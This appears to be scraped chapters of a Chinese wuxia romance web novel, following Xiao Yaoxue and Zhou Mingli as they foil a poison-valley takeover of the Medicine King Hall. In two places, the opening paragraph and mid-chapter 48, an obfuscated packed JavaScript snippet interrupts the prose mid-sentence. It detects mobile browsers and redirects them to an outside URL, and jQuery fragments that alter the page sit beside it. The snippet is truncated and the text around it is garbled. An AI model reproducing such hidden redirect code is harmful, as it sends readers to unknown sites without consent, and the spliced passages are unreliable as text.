沿着小路一路向下，入鼻都是森林特有的清新的空气，萧妖雪觉得身心放松，整个人异常的平静，脑子对于这段时间拿到的消息开始盘算，突然她的脑海中又浮现出那个小厮的模样，还是太奇怪了，而且今日来了这么多豪门，她们见到的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15863714|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药王殿的弟子少之又少，这样有失药王殿的名声。 就在脑子快速转动的时候，萧妖雪听到身后“咔嚓”一身，还不等回身，流彩剑已经直奔声源而去。 “萧姑娘萧姑娘，别别别，是我！”身后传来的却是周明理的声音。 “三殿下？” “之前就同你说了，叫殿下这多生分，我就自作主张了你日后便叫我明理。可记住了？” “呃，那好吧，你这大晚上来这干嘛。” “很直接呀，连称呼都省了。睡不着出来走走。” “你……你难道不知道这药王殿现在很危险吗？” “那不是有你吗？萧女侠。” “你没有看到吗？这一路上有人被追逐的痕迹。” “这条路应该是通往赤丹崖。就算真有人逃跑了也是凶多吉少。不过听说以前还真有人跳崖后完好无损的回来，虽然那人实力已经排进武榜前二十。” “走吧过去看看。”萧妖雪知道，现在要赶周明理走是不可能的了，更别说她也不放心他这手无缚鸡之力人就这样走回去。 二人就这样借着稀疏的星光来到了崖边，此时明月恰好从悬崖对面的山后升起，光线突然明亮了不少。 萧妖雪也算是看清了这赤丹崖的全貌。 赤丹崖如同一柄剑锋指向前面的群山，而那些山也并非平日常见的青山，山上寸草不生。借着月光萧妖雪也算是看清了，那山上石头是赤红色的。若是此时白日高悬，定然是另一番美景。 “果然如同传闻所言，这里的石头是红色的。不过与西域的丹霞峰相比，这颜色就单调了不少。” “丹霞峰？” “不错，西域的丹霞峰层层叠叠，每一层都有自己独特颜色，那远眺而去宛若画境。而且我觉得那丹霞峰的更加炙热，就算只是画卷上看到也能有驱散寒冷的力量。所以胡笳城中不少人家里都会挂一幅。” “竟然这么神奇？可惜上次去西域太过匆匆，都没有机会好好看看。”听到周明理这话，萧妖雪难免有些惋惜，这些年她通过书本了解着朝堂和江湖，但是由于身份原因，她去过的地方太少了。 就现在她看到这赤丹崖都会觉得感动，而周明理却这样不屑一顾。 “妖雪，我愿赠你，你所未见之月华。” 对于周明理这突如其来陈情，萧妖雪心中一颤，一股暖流而过，眼睛竟然有些湿润。 下一秒她就落入一个温暖的怀抱，而耳边传来了周明理的的声音：“你愿意吗？” “嗯。”一个细若蚊音的声音随着夜风还是飘进了周明理的耳朵。 “有人吗？有人在上面吗？救命！”同时夜风也送来了另一个声音。 周钦德小记： 胡铭离开将军阁消息不是什么秘密，很快也传到了周钦德的耳中。周钦德看着院中直打转的几个个人，对着徐战吩咐道：“徐战，这次你留下来，我和带着袁清和小武去胡笳城。” “殿下，这……” “没事小武武功不错，袁清保护好自己也是可以的。你就留下来保护好他们，这几日将军阁好像已经对这里生了一些怀疑，若是情况不明，你便带着他们换个地方。” “好，殿下那你们多小心。” “小武和袁清怎么还没回来？” “他们说去附近买东西，算算时间应该已经要回来了。” 正说着，院子的“吱呀”一声开了，袁清和武清一同进来，脸上都带着些笑容，似乎是听到了什么天大的好消息。 “哟，徐老爷这次要留守了，这可太好了，你是该好好尝尝留守的滋味了。”显然袁清在门外就听到了两人的密谋。 “咳，你们怎么买个东西比女人逛街还慢。”徐战也不示弱，挑起了袁清的毛病。 “殿下，徐兄我们这次出去是有大收获的。”武清却强在了袁清之前开口，因为他知道只要袁清再说一句话，他们两一定要打一架。 “怎么说？”周钦德显然对这个消息比袁清和徐战之间的恩怨更感兴趣。 “萧姑娘给林梦做了贴身保镖。” “萧云雁？林梦？林华东的女儿？”徐战本来还和袁清眉来眼去的斗气，听到这话顿时就被吸引了。 “不错，林姑娘说这几日就要出城，去胡笳城游玩。” “这么巧？”徐战一惊，他之前在京都的时候也曾听闻这位宰相千金是个雷厉风行的女子，但是没想到竟然这么果断。 “恐怕不是巧合，林姑娘向来嫉恶如仇，她父亲作为当朝宰相对于将军阁的所作所为不可能一无所知，她恐怕也是耳濡目染。前几日我听说萧云雁与林相见了一面，不知道这是不是他们的筹划。”周钦德解释道。 “那这不是又多了一个拖油瓶。”徐战对于这出行队伍越来越壮大，而他只能留守这事更加不满了。 “倒也未必，我可听说这林姑娘一手暗器，玩得可漂亮了。”袁清终于找到了插嘴的地方。 “那都是传言，她一个宰相千金，性格还如此耿直，怎么会用暗器。”此话一出，在场的只要不是聋子，都听得出徐战的气。 “徐战，林姑娘有云雁陪在身边，应当问题不大，你才是我们这次关键，你的任务非常重。一定要保护后这几位大人。”周钦德再次对徐战嘱咐道，徐战也知道事情的严重性，收了嬉皮笑脸，认真应下。 几人便简单收拾了行李，当夜就趁着月色出发了 48. 药师诞辰3 这微弱的呼救声彻底打破了赤丹崖上暧昧的氛围。 二人循声望去却发现这呼救的声音是来源于这深不见底的崖底，俯身望去，只叫人两股战战。 周明理只看了一眼，便连退了三步。萧妖雪却反倒来了兴趣，也不顾什么什么小姐的礼节，整个人趴在了地上，更是探出去大半个身子。 见状周明理吓了一大跳，也不顾自己对悬崖的恐惧，直接上前一把抓住萧妖雪的脚腕，生怕她整个人就这样翻下去。可是不知出于什么原因，就在他抓脚腕的时候，周明理脑海中飘过了一个画面。下一秒他急忙摇了摇头，现在这情形哪是想这样画面的时候。 萧妖雪的脚踝被抓住一瞬心中也一阵紧张，不过好在她很快就反应过来，是周明理担心自己才这样做的。 注意力重新回到悬崖之上，萧妖雪没有着急回应那呼救之人，而是侧耳细听那人所在何处，终于她确定了声音并非是来自于崖底，而是就在低于他们所在之处几米。而呼救之人应当是个十多岁的少年，想来是被困了不少日子，他的声音都有些弱不可闻了。 萧妖雪起身拍了拍身上的灰尘，周明理走上前自然而然的帮她整理了一些发饰，问道：“情况如何？” “你可还记得我们来的一路上那些隐约追杀的痕迹吗？现在这悬崖底下这人恐怕就是被追杀的对象。” “我们要怎么救他？” “他在被困在那已经几天了，没吃没喝，想要他自己爬上来显然是不太可能。” “借你的匕首一用。”说着萧妖雪就向周明理伸出了手，周明理显然有些在状况外，但是愣了一会还是从袖中取出了保命的匕首送了过去。 萧妖雪知道生活在西域的人，无论是否会武功，都有随身携带匕首的习惯，因为时常匕首会成为他们吃饭所用的餐具，毕竟大头的牛羊，只凭一双筷子是无法分解的。 但是出乎萧妖雪预料的是这周明理虽然随身带了匕首，但是这匕首却是一把古朴的东梁式匕首，刀鞘是青铜花样的，上面的雕花是葡萄纹图样，做工精美，一看就是出自大师之手，不过现在却是不是拷问这个花纹的来历的时候。 萧妖雪拔出匕首就往悬崖下跳，速度之快周明理完全没有时间反应，当他意识到刚刚萧妖雪做了什么时候，已经听到了匕首与悬崖壁接触发出的刺耳呲啦声。 “妖雪！”，呲啦声戛然而止，周明理探出头去，却什么都看不到，他顿时有些慌了。 “我没事！”好在萧妖雪很快就报了平安，之后就是很长一段时间的安静。 而萧妖雪则是翻身进了一个山洞，这个山洞在悬崖的峭壁之上，从上面看下来完全看不出它的存在。但是要进入这个山洞必须从跳崖那一刻就做好准备，在空中那点思考时间是完全不够的。 萧妖雪借着月光往里走了两步，便看到在山洞的角落中，蜷缩着一个人，安全起见，萧妖雪虽然已经手持匕首了，但是她还是将流彩剑释放了出来，围绕在周身，以防这洞中还另有玄机。，这才慢慢的接近这个人。 “你是谁？”萧妖雪对着墙角的那一小团人问道。 “救救我。”那人也感受到了洞穴中来人了，但是他已经太虚弱了，虚弱到他只能说出这几个字。 萧妖雪靠近后，还明显的闻到了血腥味，看来这人身上还带了伤。不过此时他的状态，萧妖雪想在这问出个什么显然是不行的。 只有把人带出去再说了，好在这虽然是个少年，但是饿了这么多天也只剩一身骨头了，萧妖雪也算练家子，还是三下五除二就把人扛了起来。 流彩剑也不再盘旋在身侧，而是纷纷飞向洞外，在空中排成了一个阶梯，萧妖雪就这样拾级而上回到了悬崖顶上。 周明理见到萧妖雪上来后，急忙去搭手将那少年放下，流彩剑也尽数回到了萧妖雪的腰间。 此时借着月光，萧妖雪额头上的薄汗清晰可见。周明理将人在地上放好后，就急忙过来查看萧妖雪的情况，确认她没有受伤才放下心来，又拿出了手帕给她擦去额角的薄汗。 这些萧妖雪都尽收眼底，她觉得似乎有了那一桩婚约之后，自己与周明理之间的相处好像变了不少，她隐隐有一种预感，若是此时才是她第一次去胡笳城，周明理恐怕根本不会让她去夺那夜明珠，不过这样的感觉却让萧妖雪有些不太自在。 “时候不早了，我们快些回去吧，以免万一有人问起。” 说罢萧妖雪正要去捡那少年，周明理却抢先一步将人扛了起来，二话不说就向着来的路走去。 自从夜幕降临后，这时药王殿中除了萧妖雪和周明理还有两拨人也在外面游荡，而他们都是药王殿的弟子。 一拨人按着上午登记去南广场的人挨家挨户敲门，通知地点和时间。而另一拨人，则是顺着每个女眷的窗户都戳了一个洞，确定屋内是否有人。 但是来客不乏有有袁梅和徐菀露这样习武之人，他们却像是早有准备一样，直接敲门问候，但无一例外都要确定这屋内有人。 这次女眷来得人多，他们将女眷确认完后，月已至中天。这一圈看下来只有这李相的千金萧姑娘不在房中，其余得倒是一个不少。 接下来他们就要去而这次唯一的男子——三皇子周明理的住处。 就在萧、周二人回来的路上，她们也看到了这两群鬼鬼祟祟的人，而也就是这时，周明理扛着的少年显然非常紧张，紧紧的抓住周明理的衣服。 二人也意识到这群人不对劲，而同时他们也注意到有几人似乎在找什么，而口中小声叫的正是萧妖雪的名字。 “他们在找我，恐怕是注意到我没在房间了。” “那些人好像在向我的房间去，走跟我回去。”周明理也不解释，抓起萧妖雪就直奔自己的房间。 果然进屋还没来得及掌灯，房门就被敲响了。将少年放在了里屋，他和萧妖雪在这开灯也不是不开也不是。 就在更加急切的拍门声响起来后，周明理，打算去开门，却不料身后萧妖雪突然异常勾人的啊了一声。 此时门内外的几人都听到，拍门声戛然而止。 周明理也是上道之人，上前搂过萧妖雪二人磕磕绊绊向着门口去，萧妖雪快速将周明理的衣服扒乱。 “明理，这谁呀，大半夜的。”萧妖雪控制了音量，让门外之人恰好可以听到。 “妖雪，没事，我去看看，你累了回床上休息会，等我回来。”周明理也明白了萧妖雪的意思，她这是要解释为何她不在房间之中呀。 开门之后，门外的药王殿的弟子，就看到周明理衣冠不整、发丝散乱、面带怒色。 “你们有何事？”这句话还真带着几分天家威严，那几个小厮更加蔫了。 “三殿下，我们是来告知您，明日卯时集合，我们带领各位一同前往南苑。” “我知道。”说罢周明理“啪”的一声就把门关上了。 门外的小厮自知触了霉头，急忙忙就离开了。不过好在他们也知道了萧妖雪的下落，这样向上级汇报也好说了。 听着门外的人走远了，萧妖雪才敢从柱子后面出来。 周明理掌了灯，屋内这才有些亮光。 “刚才表现不错嘛。怎么想到这招的？”周明理问道。 “你拉我过来不就是想用这招吗？” “诶，去看看那小子醒了没。” 二人进了里屋床上已经空无一人了，桌上的水和点心，显然都被吃了不少。随后身后一个扫把打了过来，萧妖雪一闪身，周明理反应慢了一些，只能抬手挡下这一扫把，好在对方力气不大，周明理也不过是被吓了一跳。 这小子打了一扫把后也不恋战，转身向着门口跑去，却被萧妖雪一把抓住衣领，扔到了床上。 “你这小子，醒了就作妖是吧，恩将仇报呀。”萧妖雪对着在床上还晕头转向的少年说。 “你们是谁？”少年现在已经完全清醒了，就像一只警觉的小鹿一样看着眼前的两人。 “喏，给你介绍下，这位是当朝三皇子胡笳郡王周明理。我是当朝宰相的千金萧妖雪。现在你可以说说你是谁了吧？” 少年听到两人的身份，似乎也放下了戒心，又看了看这客房的布置好像是要再多找些证据确定二人的身份。 “我叫宋衍，是药王殿的小学徒。多谢两位出手相助，日后若有机会宋衍再报答两位的恩情。” “你是莫兰的那个小情郎？”萧妖雪并未问他药王殿的事情，而是突然冒出来这样一句。 “你到底是谁？你怎么会知道莫兰？她现在在哪？”宋衍显然被这个话题抓到了，急忙忙问起这姑娘的下落。 “你以为他去干嘛了？” “她去送信……”宋衍话刚出口就意识到不对劲了，他与莫兰青梅竹马，关系甚好，机缘巧合下知道了她在为潇湘阁办事。所以之后莫兰出任也会和他报备一声。而莫兰最后一次和他说便是要将药王殿的情况送出去。 “我是凉山县潇湘阁的楼主。现在你可以说说这药王殿到底发生了什么？”萧妖雪说着拿出一块独眼朱雀的令牌。 显然宋衍也听说过潇湘阁的这个朱雀令，对于面前这两人的信任终于多了几分。 “事情是这样的，几日前毒谷突袭药王殿，而且药王殿内部也同时出现很多倒戈毒谷的人，药王殿的很快就落败。” “他们都死了？”萧妖雪问道。 “没有都被关到了百草塔下面。毒谷那些家伙好像在谋划什么大事情，最后让他们出来顶罪。”说道毒谷，宋衍的眼中难免有些惊恐。 “你那怎么侥幸逃过一劫？”萧妖雪看着一旁的周明理一言不发，又问道。 “我……我那日在后山砍柴，后面回来就遇到他们，我就跑，没想到就跑到了赤丹崖，运气好跳下去后进了那个洞。后来我听到他们走了，但是我却上不来了，如果不是两位恩人，我真的就死在下面了。恩人，你们快趁现在走吧，现在药王殿里面都已经是毒谷的人了，明天他们就要大开杀戒了。” “他们这么大胆？就不怕药山营的官兵。”周明理终于开口了，显然他对于宋衍的这些话完全不相信，这兵营就在旁边，毒谷就算个个是能人异士，在东梁的铁骑脚下不也一样一堆没有骨头的臭虫。 “药山营？现在是丰水期他们要过来，整整需要三天的时间，这三天过去，毒谷把人都炼成蛊虫都够了。” “唉，他说的没错，宋衍你这些天元气大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好半晌徐菀露才开口道：“万一他说的是假的呢？” “潇湘阁中藏了一枚药王殿仅炼制了三颗的换骨丹，由我保管，我可以将它送与徐小姐。”换骨丹对于习武之人那是天大的诱惑，徐菀露就算不求武道大成，有这样一颗丹药在手也是江湖我有。 “好，成交。” 得了准信，萧妖雪也不逗留，便起身离去。 而此时距离卯时已经不到一个时辰了，不少女子已经起床打扮，徐菀露却熄了灯睡下了，似乎现在她的心才静了下来。 但是她却不知道，另一个地方自己老父亲已经心急如焚。 徐战拿到了南苑的签到花名册，上面却没有女儿的名字，如果不是距离太远，他恨不得现在就立刻出现在药王殿，将女儿带走。 怎奈何眼前却不是药王殿。 “众将士听令，马上就起风了，按照计划进攻！” “是！” 萧云雁小记： 虽然和林梦已经约定，但是萧云雁对于这件事也不抱太大希望，胡笳城无论如何她都要去，就算因为这事和将军阁彻底闹翻，她也要拿到这个证据。 可是当她收到了将军阁对她的调令的时候她还是吃了一惊，没想到这姑娘还真说到做到。 第二日一早，萧云雁到城门口的时候却发现林梦已经在那等着了。只是一起等着的还有足足五辆马车。 “你确定要带这么多东西？”萧云雁有些难以置信问道。 “不错，云雁这事你就不懂了，我们此去路途遥远，期间指不定会遇到什么，这叫有备无患。” “那，好吧。” 看出了萧云雁还有犹豫，林梦也不给她犹豫的时间，率先上了马车，示意萧云雁跟上，然后就这样浩浩荡荡的车队就出了城了。 可是足足两个时辰不过行了几里路，萧云雁想到如果是这样到胡笳城，恐怕胡铭都晒成干尸了。 正当萧云雁还在担心进程的时候，林梦突然叫停了车队，说原地休整。此时萧云雁真的有些火了，见林梦在一旁人少的地方看马，便走了过去。 “林小姐，带我出城好意我心领了，你既然已经知道我有急事，我便不多留了，林小姐重新选个好地方去散心吧。” 说罢萧云雁就要走，却不料林梦来了句。 “云雁，你的行李都收好了吧，走吧，上马。” 萧云雁回头却看到林梦已经上了马，她身下这匹马油光水滑，肌肉健壮，双目炯炯有神，一看就是日行千里的好马。 看到萧云雁还有些没明白，林梦补充道：“云雁，我们不这样出城将军阁定然会怀疑的，现在已经出城，将军阁的人不会跟那么远，最多是那些城池的探子会传些消息回去。我这次带的行李多，找了两个人扮作我们，我们在荒郊野林的离开队伍也不会有人发现的。走吧。” 萧云雁突然明白了林大小姐的心思，心中佩服和感激之情突然涌了出来。 “好！” 两匹快马就这样消失在丛林中，二大队人马也少是休息后按着既定的路线继续启程。 49. 药师诞辰4 天明之时，前往南苑的队伍已经不见了踪影，但是北苑之中还是有不少人在寻找徐家大小姐，却一无所获。 萧妖雪与袁梅、黄清落说了昨夜他们找到宋衍的情形，三人一致认为今日这药王殿必然发生大事。 随着号角声响起，药师诞辰祭祀正式开始。 北苑的祭祀还在一个巨大的帐篷中进行的，帐篷中间是一个丹炉，而四周也放着各式各样的丹炉，都冒着淡淡的青烟。 药王殿的弟子足足百余人，手捧百草，走向立于北苑中心的巨大的丹炉。丹炉昨夜已经开始加热了，如今正冒着袅袅青烟，随着一味一味草药投入鼎中，那徐徐的烟气更盛，空气中除了柴火的烟熏味，还多了草药的清香与苦涩。 “感妖王恩惠，福泽四海，今进贡百草入鼎，请药王亲临。得恩惠者神情缱绻，如梦会药王。” 这话说完，萧妖雪再看周围，果然不少女眷已经昏昏欲睡了。 突然听到扑通一声，身旁的黄清落就这样倒了下去，袁梅心急，急忙叫着黄清落的名字。 用手探了她的鼻息，确定她没有生命危险后，对着黄清落一阵狂摇却不见丝毫转醒的迹象。 与此同时，广场上又有几人晕了过去，就连萧妖雪和袁梅都觉得身体疲惫。 周围也有不少人看到袁梅在试图叫醒黄清落，心中对于他人的昏厥难免产生了一些怀疑。 “这位小姐正在面见药王，您还是不要打扰她为好。”一个药王殿弟子服饰的人走到了袁梅身边，却丝毫不注意男女授受不亲的直接捏住了袁梅的右肩膀，力量之大，一股痛感穿过了她的肩膀，手上的黄清落如同有千斤之重，一下子就坠到了地上。 袁梅意识到事情不对劲，直接挥手去拨那搭在她肩膀上的手，而对方好似已经预料到她会这样做，就在二者相交的前一秒撤了回去。 袁梅肩上的限制解开了，她立刻想要去拔千机伞，却不料右手搭上伞柄却怎么都使不出力气。 “你给我下毒？”袁梅对着那个小厮怒道。 “这是不尊重药王的惩罚，药王救济天下，最见不得杀伐，你如今不仅带了兵戈前来，还要展露煞气，药王庇佑众生怎么会容忍这样情况出现。” “你这话说得倒是冠冕堂皇，那想必药王应该也要赐你一死了，这安息草可是百草禁药，你们还用了这么多。”弟子看向进来之人，正是他们今天一直在找的徐家大小姐，而她手中正拿着一株安息草。 “徐大小姐！你怎么在这。”这个小弟子看到徐菀露的时候，显然已经慌了神了。 “徐小姐这是听信了什么人的谗言，这里可是药王殿怎么会有安息草呢。” 眼见这么事情越闹越大，一个长老模样的中年走了过来。 “那你怎么解释……”徐菀露话还没说完就被萧妖雪一把拉开，紧接着下一秒，刚刚走过来的那个长老，就向着她站的地方撒出了一把粉末。 “你做什么！”徐菀露大惊。 “徐大小姐，本来我们与你父亲已经商量好，不会伤害你的，但是现在你还在这北苑，想必你父亲也已经动手了。那我们自然要是要为那些死去的人讨回些什么。” “你在说什么？”徐菀露被这个突然变脸的长老说的摸不到头脑。 “你不用在意，等会到了下面自有人向你讨公道的。”说着这长老又向徐菀露杀了过来，屋内还没有晕过去的女眷看到这情形，都向着大门涌去，可是那里已经站满了拿着利器对着他们的药王殿弟子。 “在这过程中又有不少人晕过了过去，倒在别人脚下的，把别人绊倒的场面更加混乱。” 就在场面一度混乱的时候，有人叫道：“哪里来的水？” 紧接着在场的所有人都被淋了一个透心凉，就在这密不透风的帐篷里，竟然下了一场暴雨。 但是暴雨之后，醒着的人觉得头脑清醒了不少，之前晕晕乎乎的感觉消失了，而之前那些晕过去的人也竟然开始悠悠转醒。 很快就有人注意到站在高台上的萧妖雪，同样还是凝聚气息，虽然这帐篷中点了这么多丹炉，非常干燥，但是抵不住人多，那人身上必然带水。这才有了这样一场室内人工降雨。 “无知小辈，你以为这样你们这群软骨虫就能活吗？”这话是从另一个长老装扮的人口中说出的，同时还有三个这样的人一同向站在高台冲了过去。 流彩剑这次凝聚成了两柄长剑，萧妖雪持剑于此，与冲上来的几人缠斗在了一起。 之前看门的几人看到了晕过去的人竟然醒了过来，也是丝毫不保留，拿着利器就向着人群而去，眼见就要展开一场厮杀。 就在这时，帐篷厚重的布帘被一匹骏马从外向内撞开，马匹冲向帐内，朝着柱子就撞过去，一人合抱之粗的柱子“咔嚓”一声就断了。整个帐篷顿时就开始坍塌了，现在向着门外跑的已经不仅有那些富家小姐还有之前那些看起来是药王殿弟子的人。 只有几个长老还与萧妖雪和徐菀露缠斗在一起。 袁梅的右手没了力气，只能拖着黄清落向外走，黄清落刚刚转醒身上完全没力气，而像她这样的，这个帐篷内至少还有十人。 之前冲进来的那匹马还在帐篷中乱撞，又撞断了两根柱子，虽然它在尽力避开人群，但难免还是推搡到了不少人。 此时帐篷的帐顶已经塌了下来，里面的人很难站直腰杆。 袁梅拉着黄清落也是寸步难行，萧妖雪和徐菀露已经被塌落的帐顶隔住，看不清情况，但是听起来徐菀露应当是把那个长老给杀了，因为此时已经听不到长鞭的破风声，但是萧妖雪那边袁梅还是清晰的感受到有气息的波动。 此时她心中格外自责，现在就因为右手原因，她这一身武艺不仅帮不上忙，甚至连把黄清落带出去都困难，要等着别人来帮忙，难道就没有点其他办法吗。 千机伞？之前赵江河和她说过几次这千机伞妙用，里面简直是存了一百零八件武器，而且用法完全没有重复。现在其实只要破开这帐顶，他们就可以出去了，就不用再寄希望于那一个小小的门缝。 袁梅果断将黄清落放在一边，展开千机伞开了一半，便向身后甩去，原本服帖伞柄的伞叶现在却像一柄柄利剑锋芒毕露。 袁梅的气息没有萧妖雪那要爆发性，只能想要牵引千机伞破开这幕布还有一定难度，但是赵江河做这千机伞的时候似乎就考虑到了这个问题，在伞柄下有一个空腔中放有火药。 袁梅用随身带着的火折子点燃了那个火药仓，千机伞脱手而出，如同烟花一样打着圈向幕布飞去，伞叶锋利，直接将幕布划了一个大洞，帐篷里的大多数人终于暴露在了天光之下。 此时徐菀露也寻着动静找到了袁梅。 “袁姑娘，你的手还好吗？我帮你我们先离开这。”说着她就主动搀起了黄清落出了帐篷，但是她们又看到另一个场面，一骏马首尾相衔围着一群人。而外面那些药王殿的弟子不怀好意的看着马群。 糟了！黄清落和袁梅心中都是一惊，这马就算有千里之能，这样转上几圈一定会晕头转向，那那些小姐就难逃一死。 “你把这个吃了。”徐菀露说着递给袁梅一颗黑色的药丸。 “这是？” “洗髓丸，虽然它主要功效不是解毒，但是至少它可以解百毒。” 事态紧急，袁梅来不及多想，便一口吞了下去。她知道这玩意贵，没想到徐菀露就这样给她了，甚至还只是为了解毒。 好在几息过后右手恢复如初，身上其他地方也没有任何不适。 此时黄清落也基本恢复了，她便担起了在幕布之下找人的职责，袁梅一手将刚刚飞走的千机找回来，徐菀露一甩鞭子便向着那边的一群人去了。 袁梅与徐菀露，今天算是第一次见面，却没想到打起来以后配合的却是默契不过一会那群人敢往上冲的身上都带了些伤。 黄清落又确认了一遍帐篷中的人都已经转移出来后，也是松了一口气。就在这时一声巨响震动了整个药王殿，声源正是之前萧妖雪同那几个长老打斗的地方。 黄清落离得最近，但是很快就反应过来，冲着幕布就冲了过去，可是她一个人的力量太弱了根本拉不开，这时一旁出现一双男子的手，帮着她一起翻幕布，黄清落抬头看到来人正是周明理，而他脸上的愁容都冷得要滴水了。而他嘴里好像还在碎碎念着什么。 是马！黄清落反应过来，周明理应当是会什么控马术，所以那些马才会主动保护那些女眷。 终于二人一番努力后看到了幕布下面的情景，几个长老都已经被炸得四肢不全了。但是翻找一圈都没有萧妖雪的踪迹。 黄清落觉得心中一阵剧痛，眼泪止不住的就下来，她知道武者中有一种自爆的方法，杀伤力极大，但是自己最后肯定是身陨。而眼前的废墟就很符合。 周明理显然也非常痛苦，嘴里的念叨的话语断断续续，而那边原本整齐绕圈的马匹也跑得乱七八糟，一旁伺机而动的敌人，也展开了攻势。 这些人用的是短剑，但是剑身漆黑一看就是喂过毒，被短剑划伤马倒在地上不过三息就没了性命。 如今失去了马阵，袁梅和徐菀露二人还想保护好身后这些人，那简直就是难上加难。她们只能化进攻为防守，袁梅撑着千机伞在一侧，徐菀露执着鞭子在另一侧。 可是要防住这十几人，依然是困难重重。 正当众人以为今日必败无疑的时候，他们感到脚下的地面在震动，似是军马奔腾。 不少人的注意都被这动静吸引了，一个药王殿弟子瞅准机会，就向着身在侧边的一个女子攻去，袁梅相救，但是死守他的那人也出手。 就在这千钧一发之际，只听得“咚”的一声，什么东西落在地上，紧接着是一声响亮的马鸣。 众人这才看清，刚刚冲向人群的那人已经身首分离，而他的尸身上正被一匹军马踏着，马上那人端着长枪直指原本想对袁梅出手的人。 而他身后很快就到了一众兵士，局面终于两极反转。 就在这边局面终于得到了控制，这个百草塔那边又发生了异状，只见一只火凤凰冲天而起，最后消失在了云海中。 看着这情形，周明理就像突然醒了一样，吹了一声口哨，一匹骏马就向他跑来，还不等那马停稳他就翻身上马，直奔百草塔而去。 到了就看到萧妖雪正在被一群灰头土脸的人围着道谢。 周明理也顾不上旁边还有这么多人，直接冲过人群一把抱住萧妖雪，这一抱很是用力似乎就 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“你到底要做什么？”萧妖雪难免有点恼火。 “是你在做什么？你这些打算就不能一开始就同我说吗？” “我当然不能同你说。”萧妖雪知道他所恼之事，她也硬气起来。 “为何？” “因为宋衍一直在你房间。” “他是？你刚刚到底是怎么做的？”周明理也大概猜到了，当时萧妖雪要顺利到那个洞里都费了好大劲，这少年突然跳崖，怎么会这么恰好就到了那个洞里。 “其实我今天……” 萧妖雪讲述了她今天的经历，周明理才算是知道，原来他们一直看到的那个萧妖雪，是因为萧妖雪利用了安息草的功效，捏造了众人的记忆，这才让人觉得她到了现场，而最后爆炸也是她提前在丹炉里面藏了一个火药。 而真正的萧妖雪，在今日起了个大早，趁众人将注意力都集中在北苑之时，她偷偷摸进了百草塔，这一路下去她才是真真见识到了什么叫做心思歹毒。 百草塔中是药王殿日常炼药的地方，所以里面少不了珍贵的药材，也少不了那些宝贵的典籍，可是如今整个百草塔地面上都被泼满了灯油，里面的人要出去，必然会踩到这些灯油，外面的人只需要一个小小的火种就可以颠覆药王谷千百年的传承。 萧妖雪一路向下，来到塔底的炼丹室发现了被关在里面的药王殿的一众人，原来早在一月之前毒谷的人就已经渗透进来，在水源下药，直接把整个药王殿都迷翻了，关在这里，那些侥幸逃过一劫则是被毒谷的残忍的杀害了。 而毒谷的目的据他们自己所说就是为了敛财，最后再将所有罪孽推给药王殿。萧妖雪也在这一行人中找到了莫兰，她说她与宋衍是有过一段感情，当时他也的确自己是潇湘阁中人的身份。可是后来宋衍叛逃出了药王殿，他们就再也没有联系了。 就当一切都要明朗了，萧妖雪打算带众人离开，她突然感知到周围的火元素似乎非常浓烈糟了，楼上放火了。 萧妖雪急忙流转气息飞速将周围的火元素聚集在上空，尽量少的接触地面的灯油，药王殿的众人就看到一个奇异的景象，火焰悬浮在半空如同一条探洞的游蛇正在慢慢的退出百草塔，就这样众人跟在萧妖雪身后，看着火光一步一步推出百草塔。 退出去的火光却在空气中凝聚成了一只鸟雀的形状，随着萧妖雪手一挥，冲向天空。 胡铭小记： 胡铭这次回胡笳城一路格外顺利，甚至连小风沙都没有遇上。 一路快马到了胡笳城，现在城中还不少地方挂着祭奠用的白幡，为仙逝的老城主悼念。 胡铭进程并没有在其他地方逗留而是直接回了家。 胡令和江秋鸿听到他回了，可高兴坏了急忙忙过来迎接，而此时的江秋鸿已经大了肚子。 “弟弟，我回来了。”胡铭看到胡令也非常高兴，二人把酒言欢了一夜。 这样美好的日子持续了三天，胡令见胡铭还没有要走的日子，便问道：“兄长，何时启程呀？” “启程？去何处？” “会京都呀。” “不去了不去了，我与那将军阁八字不合，我已经请辞了。” “你请辞了！”胡令听到这话蹭的就站了起来。整个人都异常激动。 “是呀，老弟我说你都是当城主的人，做事不能这么一惊一乍了。” “兄长，你请辞的时候将军阁可又说什么？” “没有呀。”此时胡铭清晰的看见了胡令额角渗出的冷汗，以及他扶着桌子的手在微微的颤抖。 根据和胡令这么多年的兄弟，胡铭的直觉告诉他，胡令现在在害怕。 但是他做胡笳城一城之主，他在怕什么？有什么让他好怕的？ “胡令，你怎么了？” “兄长，你有没有听说过将军阁的另一段传说？” “什么？” “据说离开将军阁的人，会被视作背叛将军，先灵会化作恶鬼跟着他回家，用他家人的做祭品来弥补这样的错误。” “所以，我回来了，就意味着……” “什么人！”胡令对着门口大喝道。 50. 药师诞辰5 周明理终于理清了这其中的事情，心中的焦躁也消解了不少，但是现在种种都只是药王殿的一面之词。唯一能够证明这一切的只有宋衍，时间已经过去这么久了，这宋衍估计已经跑没影了。 “走吧回去看看那小子醒了没。”说着周明理就起身向马匹走去。 “你给他下药了？” “是呀，这小子一看就不简单，我们今天这么大事，当然要让他晕着才行。” 萧妖雪心中也是欢喜，她没想到周明理与她的配合竟然这么默契，对于宋衍明明他们之间什么都没说，但是走的每一步棋都是那么适合，心情好了萧妖雪难免心生了捉弄的念头。 萧妖雪提了轻功抢在周明理先一步上了马，一夹马肚子就向着远处跑去。 “殿下既然无事就慢慢走回去吧。”风中传来这样一句轻飘飘的话，原地留下这样一个呆愣愣的人。 但是周明理看得清楚，萧妖雪虽然骑着马过去了，但是就在前方转角处，她根本就没走，那马走得速度简直比乌龟还慢。 